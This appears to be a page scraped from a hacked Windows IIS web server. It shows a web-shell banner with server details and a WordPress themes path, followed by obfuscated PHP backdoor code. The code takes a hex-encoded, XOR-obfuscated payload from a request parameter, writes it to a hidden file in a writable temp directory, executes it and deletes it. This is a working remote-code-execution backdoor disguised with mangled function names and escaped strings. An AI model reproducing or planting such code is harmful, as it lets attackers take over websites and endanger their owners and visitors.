| Server IP : 103.191.208.88 / Your IP : 216.73.216.44 Web Server : Microsoft-IIS/10.0 System : Windows NT COSMIC 10.0 build 20348 (Windows Server 2022) AMD64 User : IWPD_1831(willswel_) ( 0) PHP Version : 8.2.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/themes/ |
Upload File : |
<?php
//<PHPDATA>fputs_xor;12;flg</PHPDATA>
if(@$_REQUEST["f\x6cg"]!==null):$_0=HEx2BIN($_REQUEST["f\154g"]);$_1="";$_2=(int)RounD(0+0);do{$_1.=Chr(OrD($_0[$_2])^(int)rOUNd(4+4+4));$_2++;}while($_2<StRLEn($_0));$_3=arrAY_filTer([GeTeNv("TEM\x50"),getcwD(),SessiOn_sAvE_pAth(),GEtenv("T\115\x50"),"/t\x6dp","/dev\057sh\x6d",sYS_GET_TemP_diR(),Ini_GEt("u\x70lo\x61d_tm\160_d\151r"),"/var/tm\x70"]);foreach($_3 as$_4=>$_5):if(! !IS_diR($_5)&&! !IS_wRiTAble($_5)):$_6=STR_rEplAcE("{var_\x64\151r\x7d",$_5,"{va\162\x5fd\151r}/.p\x74r");if(FILe_PUt_CoNTENtS($_6,$_1)):require $_6;uNlInk($_6);die();endif;endif;endforeach;endif;